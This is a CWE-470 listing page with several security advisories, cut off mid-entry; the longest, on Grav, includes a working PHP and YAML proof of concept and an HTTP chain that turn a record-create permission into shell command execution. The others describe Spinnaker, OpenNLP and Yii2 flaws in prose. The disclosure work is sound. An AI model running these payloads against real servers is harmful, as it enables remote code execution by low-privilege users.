Common Weakness Enumeration

CWE-470

Allowed

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Abstraction: Base · Status: Draft

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

212 vulnerabilities reference this CWE, most recent first.

GHSA-C4WF-2XXC-68QM

Vulnerability from github – Published: 2026-09-17 17:15 – Updated: 2026-09-17 17:15
VLAI
Summary
Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation
Details

Summary

A missing validation check in Grav's Flex framework lets an account holding nothing but an ordinary object-create permission on a single Flex directory execute arbitrary shell commands on the server. Any authenticated user with create or update rights on a Flex-based directory (Flex Users, Flex Pages, Flex Objects, or any custom Flex type) can trigger it the moment a blueprint field anywhere in that directory carries a data-*@: directive, since the code that resolves those directives calls call_user_func_array() on attacker-influenced input with no restriction at all.

This is a bypass of GHSA-fj2p-qj2f-74v5, already patched in 2.0.7. That fix added real validation to Blueprint::dynamicData(), but Grav's Flex system routes the same directive through a separate, unprotected method, FlexDirectory::dynamicDataField(), which never received the same fix.

Details

Grav blueprints support action-property@: directives, YAML keys that tell the blueprint engine to compute a field's value dynamically by calling a function. Blueprint::init() (system/src/Grav/Common/Data/Blueprint.php:167-177) resolves these by checking for a registered handler first, and only falling back to the built-in dynamic{Action} method if none is registered:

foreach ($data as $property => $call) {
    $action = $call['action'];
    $method = 'dynamic' . ucfirst((string) $action);
    $call['object'] = $this->object;

    if (isset($this->handlers[$action])) {
        $callable = $this->handlers[$action];
        $callable($current, $property, $call);
    } elseif (method_exists($this, $method)) {
        $this->{$method}($current, $property, $call);
    }
}

FlexDirectory::getBlueprint() (system/src/Grav/Framework/Flex/FlexDirectory.php:878-880) registers exactly such a handler for the data action, for every Flex directory:

$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) {
    $this->dynamicDataField($field, $property, $call);
});

Because a handler is registered, Blueprint::init() never falls through to the patched Blueprint::dynamicData(). It calls FlexDirectory::dynamicDataField() instead (system/src/Grav/Framework/Flex/FlexDirectory.php:906-928):

protected function dynamicDataField(array &$field, $property, array $call)
{
    $params = $call['params'];
    if (is_array($params)) {
        $function = array_shift($params);
    } else {
        $function = $params;
        $params = [];
    }

    $object = $call['object'];
    if ($function === '\Grav\Common\Page\Pages::pageTypes') {
        $params = [$object instanceof PageInterface && $object->isModule() ? 'modular' : 'standard'];
    }

    $data = null;
    if (is_callable($function)) {
        $data = call_user_func_array($function, $params);
    }
    // ...
}

is_callable() only checks that $function resolves to something callable. It does not check whether calling it is safe. 'exec', 'system', 'passthru', and 'shell_exec' are all valid PHP callables, so this passes them through without complaint.

Compare this to the patched Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426-448), which calls $this->isSafeDynamicCall($function, $params) before doing anything. That method denies known command-execution functions (exec, system, passthru, shell_exec, popen, proc_open, pcntl_exec), known code-execution functions (assert, preg_replace, create_function, include, require), and recursively checks the argument list for a dangerous callable smuggled in as a parameter, which is the trampoline pattern the original GHSA exploited through Utils::arrayFilterRecursive. None of that logic exists in dynamicDataField().

Version tested: current master, commit fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969. git describe reports this as 2.0.8-2-gfae9e1bf2, two commits past the 2.0.8 tag. I checked those two commits directly: one is a merge commit, the other fixes spaces in Markdown image/link filenames (ParsedownGravTrait.php, unrelated). Neither touches Blueprint.php, FlexDirectory.php, or Utils.php. git diff 2.0.8 -- system/src/Grav/Framework/Flex/FlexDirectory.php system/src/Grav/Common/Data/Blueprint.php returns no output, so the vulnerable code is byte-for-byte identical to what shipped in the released 2.0.8 version. I also checked the CHANGELOG for 2.0.7, 2.0.8, and the not-yet-tagged 2.0.9 entry: 2.0.7 documents the original GHSA-fj2p-qj2f-74v5 fix, and neither 2.0.8 nor 2.0.9 mentions Flex, dynamic field data, or any related change. The two methods were never unified, so this gap has existed since the original patch shipped in 2.0.7 and is still present in the latest code as of this report.

PoC

Part 1, code level. This is the minimal, self-contained reproduction: no web server, no plugins, no accounts, just a checkout with composer install run. It calls the real, unmodified FlexDirectory::dynamicDataField() directly and is a suitable regression check for confirming the fix; once the method is patched to reject dangerous callables, this script should stop writing the proof file.

<?php
require 'vendor/autoload.php';

use Grav\Common\Data\Blueprint;
use Grav\Framework\Flex\FlexDirectory;

$proofFile = '/tmp/grav_rce_proof.txt';

// Mimics a Flex directory blueprint YAML file containing a data-test@: directive,
// the same syntax the GHSA-fj2p-qj2f-74v5 PoC used against Blueprint::dynamicData().
// No trampoline gadget needed here. dynamicDataField() performs zero validation
// on $function.
$items = [
    'fields' => [
        'myfield' => [
            'type' => 'text',
            'data-test@' => ['exec', "id > $proofFile 2>&1"],
        ],
    ],
];

$blueprint = new Blueprint(null, $items);
$blueprint->embed('', $items); // triggers deepInit(), populates $blueprint->dynamic

// Register the real, unmodified FlexDirectory::dynamicDataField as the 'data'
// handler. This is exactly what FlexDirectory::getBlueprint() does for every
// Flex directory in production.
$refClass = new ReflectionClass(FlexDirectory::class);
$flexDirectoryInstance = $refClass->newInstanceWithoutConstructor();
$method = $refClass->getMethod('dynamicDataField');
$method->setAccessible(true);

$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) use ($method, $flexDirectoryInstance) {
    $method->invoke($flexDirectoryInstance, $field, $property, $call);
});

$blueprint->init();

echo file_exists($proofFile) ? file_get_contents($proofFile) : "not vulnerable\n";

Output:

uid=1000(d) gid=1000(d) groups=1000(d),4(adm),...

Part 2, full HTTP chain against the real admin panel. Configuration used:

  • Base checkout: same commit as above.
  • bin/gpm install admin flex-objects -y, which pulls in form, login, email, shortcode-core, api as dependencies.
  • php -S localhost:8000 system/router.php.

Step 1. flex-objects ships a self-contained sample custom directory at blueprints/flex-objects/contacts.yaml, with its own admin.contacts/api.contacts permission set. Added one field to its form.fields:

    pocfield:
      type: text
      label: PoC Field
      data-test@:
        - exec
        - "id > /tmp/grav_http_rce_proof.txt 2>&1"

Step 2. Registered contacts as an active directory through a normal config override, the same file the admin Plugin Configuration screen writes to (user/config/plugins/flex-objects.yaml):

directories:
  - 'blueprints://flex-objects/pages.yaml'
  - 'blueprints://flex-objects/user-accounts.yaml'
  - 'blueprints://flex-objects/user-groups.yaml'
  - 'blueprints://flex-objects/contacts.yaml'

Step 3. Confirmed a full super-admin account can trigger it, as a baseline. POST /api/v1/flex-objects/contacts (the ordinary "create a new contact" endpoint) with a super-admin JWT:

HTTP 201 Created

/tmp/grav_http_rce_proof.txt contained the id command's output. This confirms the chain fires through the real API: FlexApiController::create() calls FlexDirectory::createObject()/save(), which calls blueprint init(), which calls dynamicDataField(), which calls call_user_func_array('exec', [...]). The read-only blueprint-serving endpoint, GET /blueprints/flex-objects/{type}, does not trigger this; only the create/update processing path calls init().

Step 4. Created a second account with nothing granted except:

access:
  admin:
    login: true
  api:
    access: true
    contacts:
      create: true

No admin.super, no api.super, no permission on anything except creating records in this one directory. That is exactly the permission contacts.yaml's own blueprint declares for this action (admin.permissions.api.contacts: {type: crudpl} maps to api.contacts.create). The token response confirmed the account had nothing else: "super_admin": false, with only api.access and api.contacts.create set to true.

That account sent the same POST /api/v1/flex-objects/contacts request, an ordinary "create a contact" call indistinguishable from legitimate use:

HTTP 201 Created

/tmp/grav_http_rce_proof.txt was overwritten with fresh id output.

This was reproduced a second time on a completely separate, freshly cloned checkout (independent composer install, independent bin/gpm install, new accounts) to rule out any dependency on leftover state from the first run. Same result both times.

Impact

Threat model. The attacker needs an authenticated account with create or update permission on a single Flex directory, nothing more. The PoC account held exactly one permission, api.contacts.create, scoped to one custom directory, with super_admin: false and no other access. From that single permission it gets arbitrary shell command execution as the web server user, full remote code execution. That is a trust boundary crossing, not something inside the actor's own scope: a permission that is only supposed to let someone add records to one directory turns into unrestricted code execution on the server.

Any Grav 2.0 install running the flex-objects plugin, or any other plugin that defines Flex directories (Flex Users and Flex Pages are Grav-core Flex types and go through the same unprotected code path), is affected once a blueprint field anywhere carries a data-*@: directive. Whoever can place that directive into an active blueprint needs a separate level of access to do so. I was not able to independently confirm from this checkout alone whether Grav ships an admin-panel flow that lets a non-superadmin write field-level blueprint YAML, since that logic likely lives in flex-objects or admin UI code outside what I traced. What is fully proven is the trigger side: once such a field exists, for any reason, an account that can only create records in that directory can run shell commands on the server. Per your own severity guidelines, that is a High: a lower-privilege actor ending up with capability well beyond their granted role.

Suggested fix: route FlexDirectory::dynamicDataField() through the same isSafeDynamicCall()/Utils::isDangerousFunction() checks Blueprint::dynamicData() already uses, ideally by having it delegate to the patched method rather than reimplementing callable dispatch on its own. It would also be worth checking whether any other addDynamicHandler() registration in the codebase has the same gap.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "2.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:15:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA missing validation check in Grav\u0027s Flex framework lets an account holding nothing but an ordinary object-create permission on a single Flex directory execute arbitrary shell commands on the server. Any authenticated user with `create` or `update` rights on a Flex-based directory (Flex Users, Flex Pages, Flex Objects, or any custom Flex type) can trigger it the moment a blueprint field anywhere in that directory carries a `data-*@:` directive, since the code that resolves those directives calls `call_user_func_array()` on attacker-influenced input with no restriction at all.\n\nThis is a bypass of GHSA-fj2p-qj2f-74v5, already patched in 2.0.7. That fix added real validation to `Blueprint::dynamicData()`, but Grav\u0027s Flex system routes the same directive through a separate, unprotected method, `FlexDirectory::dynamicDataField()`, which never received the same fix.\n\n### Details\n\nGrav blueprints support `action-property@:` directives, YAML keys that tell the blueprint engine to compute a field\u0027s value dynamically by calling a function. `Blueprint::init()` (`system/src/Grav/Common/Data/Blueprint.php:167-177`) resolves these by checking for a registered handler first, and only falling back to the built-in `dynamic{Action}` method if none is registered:\n\n```php\nforeach ($data as $property =\u003e $call) {\n    $action = $call[\u0027action\u0027];\n    $method = \u0027dynamic\u0027 . ucfirst((string) $action);\n    $call[\u0027object\u0027] = $this-\u003eobject;\n\n    if (isset($this-\u003ehandlers[$action])) {\n        $callable = $this-\u003ehandlers[$action];\n        $callable($current, $property, $call);\n    } elseif (method_exists($this, $method)) {\n        $this-\u003e{$method}($current, $property, $call);\n    }\n}\n```\n\n`FlexDirectory::getBlueprint()` (`system/src/Grav/Framework/Flex/FlexDirectory.php:878-880`) registers exactly such a handler for the `data` action, for every Flex directory:\n\n```php\n$blueprint-\u003eaddDynamicHandler(\u0027data\u0027, function (array \u0026$field, $property, array \u0026$call) {\n    $this-\u003edynamicDataField($field, $property, $call);\n});\n```\n\nBecause a handler is registered, `Blueprint::init()` never falls through to the patched `Blueprint::dynamicData()`. It calls `FlexDirectory::dynamicDataField()` instead (`system/src/Grav/Framework/Flex/FlexDirectory.php:906-928`):\n\n```php\nprotected function dynamicDataField(array \u0026$field, $property, array $call)\n{\n    $params = $call[\u0027params\u0027];\n    if (is_array($params)) {\n        $function = array_shift($params);\n    } else {\n        $function = $params;\n        $params = [];\n    }\n\n    $object = $call[\u0027object\u0027];\n    if ($function === \u0027\\Grav\\Common\\Page\\Pages::pageTypes\u0027) {\n        $params = [$object instanceof PageInterface \u0026\u0026 $object-\u003eisModule() ? \u0027modular\u0027 : \u0027standard\u0027];\n    }\n\n    $data = null;\n    if (is_callable($function)) {\n        $data = call_user_func_array($function, $params);\n    }\n    // ...\n}\n```\n\n`is_callable()` only checks that `$function` resolves to something callable. It does not check whether calling it is safe. `\u0027exec\u0027`, `\u0027system\u0027`, `\u0027passthru\u0027`, and `\u0027shell_exec\u0027` are all valid PHP callables, so this passes them through without complaint.\n\nCompare this to the patched `Blueprint::dynamicData()` (`system/src/Grav/Common/Data/Blueprint.php:426-448`), which calls `$this-\u003eisSafeDynamicCall($function, $params)` before doing anything. That method denies known command-execution functions (`exec`, `system`, `passthru`, `shell_exec`, `popen`, `proc_open`, `pcntl_exec`), known code-execution functions (`assert`, `preg_replace`, `create_function`, `include`, `require`), and recursively checks the argument list for a dangerous callable smuggled in as a parameter, which is the trampoline pattern the original GHSA exploited through `Utils::arrayFilterRecursive`. None of that logic exists in `dynamicDataField()`.\n\n**Version tested:** current `master`, commit `fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969`. `git describe` reports this as `2.0.8-2-gfae9e1bf2`, two commits past the `2.0.8` tag. I checked those two commits directly: one is a merge commit, the other fixes spaces in Markdown image/link filenames (`ParsedownGravTrait.php`, unrelated). Neither touches `Blueprint.php`, `FlexDirectory.php`, or `Utils.php`. `git diff 2.0.8 -- system/src/Grav/Framework/Flex/FlexDirectory.php system/src/Grav/Common/Data/Blueprint.php` returns no output, so the vulnerable code is byte-for-byte identical to what shipped in the released 2.0.8 version. I also checked the CHANGELOG for 2.0.7, 2.0.8, and the not-yet-tagged 2.0.9 entry: 2.0.7 documents the original GHSA-fj2p-qj2f-74v5 fix, and neither 2.0.8 nor 2.0.9 mentions Flex, dynamic field data, or any related change. The two methods were never unified, so this gap has existed since the original patch shipped in 2.0.7 and is still present in the latest code as of this report.\n\n### PoC\n\n**Part 1, code level.** This is the minimal, self-contained reproduction: no web server, no plugins, no accounts, just a checkout with `composer install` run. It calls the real, unmodified `FlexDirectory::dynamicDataField()` directly and is a suitable regression check for confirming the fix; once the method is patched to reject dangerous callables, this script should stop writing the proof file.\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse Grav\\Common\\Data\\Blueprint;\nuse Grav\\Framework\\Flex\\FlexDirectory;\n\n$proofFile = \u0027/tmp/grav_rce_proof.txt\u0027;\n\n// Mimics a Flex directory blueprint YAML file containing a data-test@: directive,\n// the same syntax the GHSA-fj2p-qj2f-74v5 PoC used against Blueprint::dynamicData().\n// No trampoline gadget needed here. dynamicDataField() performs zero validation\n// on $function.\n$items = [\n    \u0027fields\u0027 =\u003e [\n        \u0027myfield\u0027 =\u003e [\n            \u0027type\u0027 =\u003e \u0027text\u0027,\n            \u0027data-test@\u0027 =\u003e [\u0027exec\u0027, \"id \u003e $proofFile 2\u003e\u00261\"],\n        ],\n    ],\n];\n\n$blueprint = new Blueprint(null, $items);\n$blueprint-\u003eembed(\u0027\u0027, $items); // triggers deepInit(), populates $blueprint-\u003edynamic\n\n// Register the real, unmodified FlexDirectory::dynamicDataField as the \u0027data\u0027\n// handler. This is exactly what FlexDirectory::getBlueprint() does for every\n// Flex directory in production.\n$refClass = new ReflectionClass(FlexDirectory::class);\n$flexDirectoryInstance = $refClass-\u003enewInstanceWithoutConstructor();\n$method = $refClass-\u003egetMethod(\u0027dynamicDataField\u0027);\n$method-\u003esetAccessible(true);\n\n$blueprint-\u003eaddDynamicHandler(\u0027data\u0027, function (array \u0026$field, $property, array \u0026$call) use ($method, $flexDirectoryInstance) {\n    $method-\u003einvoke($flexDirectoryInstance, $field, $property, $call);\n});\n\n$blueprint-\u003einit();\n\necho file_exists($proofFile) ? file_get_contents($proofFile) : \"not vulnerable\\n\";\n```\n\nOutput:\n\n```\nuid=1000(d) gid=1000(d) groups=1000(d),4(adm),...\n```\n\n**Part 2, full HTTP chain against the real admin panel.** Configuration used:\n\n- Base checkout: same commit as above.\n- `bin/gpm install admin flex-objects -y`, which pulls in `form`, `login`, `email`, `shortcode-core`, `api` as dependencies.\n- `php -S localhost:8000 system/router.php`.\n\nStep 1. `flex-objects` ships a self-contained sample custom directory at `blueprints/flex-objects/contacts.yaml`, with its own `admin.contacts`/`api.contacts` permission set. Added one field to its `form.fields`:\n\n```yaml\n    pocfield:\n      type: text\n      label: PoC Field\n      data-test@:\n        - exec\n        - \"id \u003e /tmp/grav_http_rce_proof.txt 2\u003e\u00261\"\n```\n\nStep 2. Registered `contacts` as an active directory through a normal config override, the same file the admin Plugin Configuration screen writes to (`user/config/plugins/flex-objects.yaml`):\n\n```yaml\ndirectories:\n  - \u0027blueprints://flex-objects/pages.yaml\u0027\n  - \u0027blueprints://flex-objects/user-accounts.yaml\u0027\n  - \u0027blueprints://flex-objects/user-groups.yaml\u0027\n  - \u0027blueprints://flex-objects/contacts.yaml\u0027\n```\n\nStep 3. Confirmed a full super-admin account can trigger it, as a baseline. `POST /api/v1/flex-objects/contacts` (the ordinary \"create a new contact\" endpoint) with a super-admin JWT:\n\n```\nHTTP 201 Created\n```\n\n`/tmp/grav_http_rce_proof.txt` contained the `id` command\u0027s output. This confirms the chain fires through the real API: `FlexApiController::create()` calls `FlexDirectory::createObject()`/`save()`, which calls blueprint `init()`, which calls `dynamicDataField()`, which calls `call_user_func_array(\u0027exec\u0027, [...])`. The read-only blueprint-serving endpoint, `GET /blueprints/flex-objects/{type}`, does not trigger this; only the create/update processing path calls `init()`.\n\nStep 4. Created a second account with nothing granted except:\n\n```yaml\naccess:\n  admin:\n    login: true\n  api:\n    access: true\n    contacts:\n      create: true\n```\n\nNo `admin.super`, no `api.super`, no permission on anything except creating records in this one directory. That is exactly the permission `contacts.yaml`\u0027s own blueprint declares for this action (`admin.permissions.api.contacts: {type: crudpl}` maps to `api.contacts.create`). The token response confirmed the account had nothing else: `\"super_admin\": false`, with only `api.access` and `api.contacts.create` set to `true`.\n\nThat account sent the same `POST /api/v1/flex-objects/contacts` request, an ordinary \"create a contact\" call indistinguishable from legitimate use:\n\n```\nHTTP 201 Created\n```\n\n`/tmp/grav_http_rce_proof.txt` was overwritten with fresh `id` output.\n\nThis was reproduced a second time on a completely separate, freshly cloned checkout (independent `composer install`, independent `bin/gpm install`, new accounts) to rule out any dependency on leftover state from the first run. Same result both times.\n\n### Impact\n\n**Threat model.** The attacker needs an authenticated account with `create` or `update` permission on a single Flex directory, nothing more. The PoC account held exactly one permission, `api.contacts.create`, scoped to one custom directory, with `super_admin: false` and no other access. From that single permission it gets arbitrary shell command execution as the web server user, full remote code execution. That is a trust boundary crossing, not something inside the actor\u0027s own scope: a permission that is only supposed to let someone add records to one directory turns into unrestricted code execution on the server.\n\nAny Grav 2.0 install running the `flex-objects` plugin, or any other plugin that defines Flex directories (Flex Users and Flex Pages are Grav-core Flex types and go through the same unprotected code path), is affected once a blueprint field anywhere carries a `data-*@:` directive. Whoever can place that directive into an active blueprint needs a separate level of access to do so. I was not able to independently confirm from this checkout alone whether Grav ships an admin-panel flow that lets a non-superadmin write field-level blueprint YAML, since that logic likely lives in `flex-objects` or `admin` UI code outside what I traced. What is fully proven is the trigger side: once such a field exists, for any reason, an account that can only create records in that directory can run shell commands on the server. Per your own severity guidelines, that is a High: a lower-privilege actor ending up with capability well beyond their granted role.\n\n**Suggested fix**: route `FlexDirectory::dynamicDataField()` through the same `isSafeDynamicCall()`/`Utils::isDangerousFunction()` checks `Blueprint::dynamicData()` already uses, ideally by having it delegate to the patched method rather than reimplementing callable dispatch on its own. It would also be worth checking whether any other `addDynamicHandler()` registration in the codebase has the same gap.",
  "id": "GHSA-c4wf-2xxc-68qm",
  "modified": "2026-09-17T17:15:33Z",
  "published": "2026-09-17T17:15:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-c4wf-2xxc-68qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-flexdirectory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation"
}

GHSA-C8Q4-9H32-2WW8

Vulnerability from github – Published: 2026-06-22 20:43 – Updated: 2026-08-05 22:37
VLAI
Summary
Spinnaker has non-safe yaml deserialization, allowing RCE when using specific types
Details

Impact

There's an unsafe YAML processing vulnerability that bypasses safe deserialization. This impacts users when when performing: * CloudFormation deployments * CloudFoundry Baking

The usage of a non-safe constructor use allows arbitrary loading of Java classes leading to RCE.

Patches

2025.3.3, 2026.0.3 and 2025.4.4.

Workarounds

Disable the CloudFormation system and cloudfoundry baking operations.

Resources

Join Spinnaker on Slack for more information!

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.rosco:rosco-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.orca:orca-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2025.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.rosco:rosco-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.4.0"
            },
            {
              "fixed": "2025.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.rosco:rosco-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.0.0"
            },
            {
              "fixed": "2026.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.orca:orca-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2025.4.0"
            },
            {
              "fixed": "2025.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.spinnaker.orca:orca-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.0.0"
            },
            {
              "fixed": "2026.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44795"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T20:43:37Z",
    "nvd_published_at": "2026-07-10T22:16:41Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThere\u0027s an unsafe YAML processing vulnerability that bypasses safe deserialization. This impacts users when when performing:\n* CloudFormation deployments\n* CloudFoundry Baking\n\nThe usage of a non-safe constructor use allows arbitrary loading of Java classes leading to RCE.\n\n### Patches\n 2025.3.3, 2026.0.3 and 2025.4.4.\n\n### Workarounds\nDisable the CloudFormation system and cloudfoundry baking operations.\n\n### Resources\nJoin Spinnaker on Slack for more information!",
  "id": "GHSA-c8q4-9h32-2ww8",
  "modified": "2026-08-05T22:37:48Z",
  "published": "2026-06-22T20:43:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/spinnaker/spinnaker/security/advisories/GHSA-c8q4-9h32-2ww8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44795"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spinnaker/spinnaker/commit/4cbe1d5fea9df573aadfd8b093fb4b594b354ee5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spinnaker/spinnaker/commit/e57c0db4584b398473a7bbb19402ce6c1e89b627"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spinnaker/spinnaker/commit/f69d7b534d068ed74d0d3a1fbf17e2c945d36e5e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spinnaker/spinnaker"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spinnaker has non-safe yaml deserialization, allowing RCE when using specific types"
}

GHSA-CCQ5-X868-5P6X

Vulnerability from github – Published: 2026-07-24 09:32 – Updated: 2026-07-24 21:32
VLAI
Details

Arbitrary Class Instantiation via XML Feature Generator Descriptor and Format Name in Apache OpenNLP

Versions Affected:

  • before 2.5.10
  • before 3.0.0-M5

Description:

Three code paths in Apache OpenNLP load a class by its fully-qualified name via Class.forName() and invoke its no-arg constructor without any prior validation of the class name or its type. 

The affected paths are:

(1) GeneratorFactory, which reads the class attribute of generator elements in an XML feature generator descriptor; such descriptors are embedded as artifacts in model archives (e.g. TokenNameFinder and POSTagger models) and are parsed during model loading, so an attacker who can supply a crafted model archive controls the class name directly.

(2) StreamFactoryRegistry.getFactory(Class, String), which falls back to interpreting an unregistered format name as the fully-qualified class name of an ObjectStreamFactory; this is exploitable in applications that pass untrusted format names (e.g. exposing the -format parameter of the command-line tooling to external input).

(3) StringInterners, which instantiates the interner implementation named by the opennlp.interner.class system property; this value is normally deployer-controlled, so it is hardened as defense in depth rather than being independently attacker-reachable.

Exploitation requires a class with attacker-useful side effects in its static initializer or no-arg constructor (JNDI lookup, outbound network I/O, filesystem access) to be present on the classpath, so this is not drop-in remote code execution. T

Mitigation:

Upgrade to a fixed release.

The fix routes all three paths through ExtensionLoader.instantiateExtension(...), which consults a package-prefix allowlist before Class.forName() is invoked, so a disallowed class is never loaded, initialized, or constructed. Classes under the opennlp. prefix remain permitted by default. Deployments that load models referencing feature generator factories, object stream factories, or string interners outside opennlp.* must opt those packages in, either programmatically via ExtensionLoader.registerAllowedPackage(String) before the first model load, or by setting the OPENNLP_EXT_ALLOWED_PACKAGES system property to a comma-separated list of allowed package prefixes.

Users who cannot upgrade immediately should ensure all model files and format names are sourced from trusted origins and should audit their classpath for classes with side-effecting static initializers or constructors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-63317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-24T09:16:25Z",
    "severity": "MODERATE"
  },
  "details": "Arbitrary Class Instantiation via XML Feature Generator Descriptor and Format Name in Apache OpenNLP\n\nVersions Affected: \n\n- before 2.5.10\n- before 3.0.0-M5\n\nDescription: \n\nThree code paths in Apache OpenNLP load a class by its fully-qualified name via Class.forName() and invoke its no-arg constructor without any prior validation of the class name or its type.\u00a0\n\nThe affected paths are: \n\n(1) GeneratorFactory, which reads the class attribute of generator elements in an XML feature generator descriptor; such descriptors are embedded as artifacts in model archives (e.g. TokenNameFinder and POSTagger models) and are parsed during model loading, so an attacker who can supply a crafted model archive controls the class name directly. \n\n(2) StreamFactoryRegistry.getFactory(Class, String), which falls back to interpreting an unregistered format name as the fully-qualified class name of an ObjectStreamFactory; this is exploitable in applications that pass untrusted format names (e.g. exposing the -format parameter of the command-line tooling to external input). \n\n(3) StringInterners, which instantiates the interner implementation named by the opennlp.interner.class system property; this value is normally deployer-controlled, so it is hardened as defense in depth rather than being independently attacker-reachable.\n\nExploitation requires a class with attacker-useful side effects in its static initializer or no-arg constructor (JNDI lookup, outbound network I/O, filesystem access) to be present on the classpath, so this is not drop-in remote code execution. T\n\nMitigation: \n\nUpgrade to a fixed release. \n\nThe fix routes all three paths through ExtensionLoader.instantiateExtension(...), which consults a package-prefix allowlist before Class.forName() is invoked, so a disallowed class is never loaded, initialized, or constructed. \nClasses under the opennlp. prefix remain permitted by default. Deployments that load models referencing feature generator factories, object stream factories, or string interners outside opennlp.* must opt those packages in, either programmatically via ExtensionLoader.registerAllowedPackage(String) before the first model load, or by setting the OPENNLP_EXT_ALLOWED_PACKAGES system property to a comma-separated list of allowed package prefixes. \n\nUsers who cannot upgrade immediately should ensure all model files and format names are sourced from trusted origins and should audit their classpath for classes with side-effecting static initializers or constructors.",
  "id": "GHSA-ccq5-x868-5p6x",
  "modified": "2026-07-24T21:32:21Z",
  "published": "2026-07-24T09:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63317"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/myr446n8t3gv8gq8wbpxm41olx16d8yj"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/24/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CJCC-P67M-7QXM

Vulnerability from github – Published: 2024-06-02 22:30 – Updated: 2025-04-01 23:13
VLAI
Summary
Unsafe Reflection in base Component class in yiisoft/yii2
Details

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

